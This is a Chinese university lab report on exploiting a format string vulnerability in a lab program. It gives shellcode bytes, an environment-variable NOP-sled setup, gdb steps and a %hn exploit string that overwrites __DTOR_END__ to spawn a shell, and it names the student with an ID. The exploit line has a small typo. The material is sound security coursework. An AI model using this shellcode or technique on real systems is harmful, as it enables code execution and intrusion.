**实 验 报 告**



**课程名称 《网络攻击与防御技术》**

**学 院 计算机科学技术学院**

**专 业 信息安全**

**姓 名 黄 力**

**学 号 15307130275**

**开 课 时 间 2018 至 2019 学年第 1 学期**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | | 实验项目  名 称 | 格式化字符串漏洞利用 | 成绩 |  |   **一、实验目的**  （1）了解C语言中部分函数（如printf、sprintf等）格式化字符串漏洞的基本原理  （2）通过实验掌握如何使用格式化字符串漏洞获取本地服务器上的shell  （3）熟悉一些基本的linux命令，了解gdb等linux下的编程和调试基本工具的使用方法。  **二、实验内容**  （1）利用服务器上已有的格式化字符串漏洞程序fmt\_str，通过分析其源码fmt\_str.c构造攻击字串运行fmt\_str获取shell（无root权限）  （2）分析实验成功或失败的原因  **三、实验环境**  （1）PC机操作系统：macOS Mojave 10.14  （2）虚拟机操作系统（Parallels Desktop 13.1.1）：32位redhat3  **四、实验原理**  通过阅读fmt\_str程序的源代码fmt\_str.c可以发现该程序的主要功能是将用户在命令行中给出的字符串拷贝到一个大小为1024的缓冲区text中，然后调用printf函数输出text中的字符串。  其中printf函数的使用方式为：printf(text);（正确使用方式应该是：printf(“%s”, text);）这存在格式化字符串漏洞，printf函数是c语言中支持可变参数的库函数，它的参数有多少是由一个format参数（如上面的%s）中指定的数量决定的，在调用到printf函数时这些参数根据format参数指定的顺序倒序逐个压入程序栈中，最后压入format参数。在具有格式化字符串漏洞的程序中printf函数缺少format参数，因此若用户按照format参数的形式构造特定的输入（如上面的text），printf函数就可以打印程序栈上的内容甚至改写栈上的内容。  大多数的C程序在main函数结束后都会调用Destructors，本实验可以利用这个函数作为注入点，利用格式化字符串漏洞构造特定的输入改写Destructors end为shellcode的地址，这样在main函数结束后跳转到的地方就不再是Destructors而是shellcode。以此达到攻击的目的，获得shell。  **五、实验步骤及结果**  （1）安装虚拟机，阅读源码，寻找溢出漏洞存在的地方：  从云复旦http://cloud.fudan.edu.cn/shareFolder/466220002/UHWpvrr中下载redhat3.rar，解压并利用其中的虚拟硬盘在Parallels Desktop安装redhat操作系统获得实验环境，使用hacker作为登入帐号（无密）登入，登入目录为/home/hacker，在此目录中已有编译好的fmt\_str程序和其源码fmt\_str.c文件。阅读fmt\_str.c源码文件，发现main函数中调用的“printf(text);”存在格式化字符串漏洞。  （2）构造shellcode并将其写入到环境变量$SHELLCODE中，并获取其地址：  1、使用命令：perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\x  f3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";'>shellcode.bin将shellcode写入到文件shellcode.bin中  2、使用命令：export SHELLCODE=`perl -e 'print "\x90"x64;'``cat shellcode.bin`设置环境变量$SHELLCODE（此处为增加注入的成功性，在shellcode之前写入64个nop指令），为使SHELLCODE的设置永久有效，可将上述命令写到.bashrc文件末尾，如下图所示。并用命令source .bashrc重置当前bash的环境变量。  3、利用已有的getenvaddr程序获取$SHELLCODE的地址：使用命令为：./getenvaddr SHELLCODE，结果如下图：可知%SHELLCODE的地址为0xbffffcc4。  （3）获取fmt\_str程序中Destructors end的地址：  使用命令为：nm fmt\_str | grep DTOR，结果如下图所示，可知fmt\_str中\_\_DTOR\_END\_\_的地址为0x080495dc，这就是之后我们要改写的地方。  （4）使用gdb对fmt\_str程序进行调试，并构造字符串进行攻击，获取shell并验证：  1、使用命令gdb ./fmt\_str开始对fmt\_str的调试；  2、在gdb中使用命令disas main查看main函数的汇编代码，并找到最后一个printf函数的地址（即是存在漏洞的printf(text)），结果如下左图红圈部分：其地址为：0x08048408（距main函数起点偏移120处）。  3、使用命令break \*main+120在printf函数之前添加一个断点，方便之后查看调用该函数前后程序栈上发生的变化。  4、使用命令r ‘huangli666’运行程序，输入的命令行参数为‘huangli666’，程序将会在断点处（printf函数之前）停止，  5、使用命令x/10x 0xbffffcc4查看shellcode是否正确存在于内存中，这里的0xbffffcc4是我们在步骤（2）的第3步中获取到的地址。结果如上右图所示，此处的内容为0xc0310876，发现这是我们在（2）的第1步中构造的shellcode的第5～8个字节的内容，没有包括shellcode的前4字节内容，再使用命令x/10x 0xbffffcc4 – 0x4查看0xbffffcc0处的内容，结果如右上图红圈部分所示，红圈部分正好是我们构造的shellcode的内容，因此shellcode的起始地址为0xbffffcc0。我们要将这个值写到（3）中所得的Destructors end的地址0x080495dc处。  6、计算shellcode地址0xbffffcc0在攻击字串中的十进制表示：使用命令p/d 0xbfff – 8计算高4字节，其中8是字符串从开始到第一个%hn前的长度，使用0xfcc0 – 0xbfff计算低4字节，如下图所示分别为49143、15553。  7、开始对程序进行攻击：使用命令r $(printf “\xde\x95、x04\x08\xdc\x95\x04\x08”) %.49143x%4\$hn%  .15553x%5\$hn重新构造命令行参数运行fmt\_str程序（此步的字符串参考了参考资料2中的魔术公式表进行构造）。此处引号中值为改写的地方0x080495dc、0x080495de的小端表示，49143与15553分别是6中计算得到的shellcode的十进制表示。程序将运行至断点处停止。  8、查看printf函数调用之前地址0x080495dc（\_\_DTOR\_END\_\_）处的值：使用命令x/10x 0x080495dc查看，结果如下左图红圈所示，此时0x080495dc处的值为0x00000000，未被改写。  9、查看printf函数调用之后地址0x080495dc（\_\_DTOR\_END\_\_）处的值是否被成功改写：使用命令：s，单步执行程序调用printf函数，然后使用命令x/10x 0x080495dc查看如上右图红圈所示，调用printf函数后0x080495dc处的值已经被成功改写为0xbffffcc0，这正是shellcode的位置，注入成功。  10、继续执行程序获取shell：使用命令：c，继续执行程序，结果如下图红圈所示。我们获得了一个shell，分别使用命令id和whoami验证所得shell，成功得知此shell的用户为hacker，由此可以得知我们的实验最终成功，main函数执行完后成功跳转到shellcode处执行shellcode中的指令并最终得到shell。  **六、实验总结**  通过本次实验，我了解了格式化字符串漏洞的基本原理，并成功通过构造巧妙的输入利用格式化字符串漏洞获得了shell。本次实验的难点主要有三个：一是shellcode注入点的选择：前期选择了GOT表中的exit函数注入，步骤一样但并未成功。后来又尝试在程序的.fini\_array处注入也失败。解决方法是参考了参考资料1中在Destructors end处注入，最后成功。二是shellcode的存放位置：解决方法是参考了参考资料3中将其存放在一个环境变量$SHELLCODE中，fmt\_str程序运行时会将它载入内存。三是命令行字符串的构造：解决方法是参考了参考资料2中的魔术公式表。  **七、参考资料**  1、<http://mars.run/2014/04/Format_String_Exploitation/index.html>  2、<https://www.jianshu.com/p/f2acfeb66b6c>  3、https://kevien.github.io/2018/04/07/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC  %A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/ |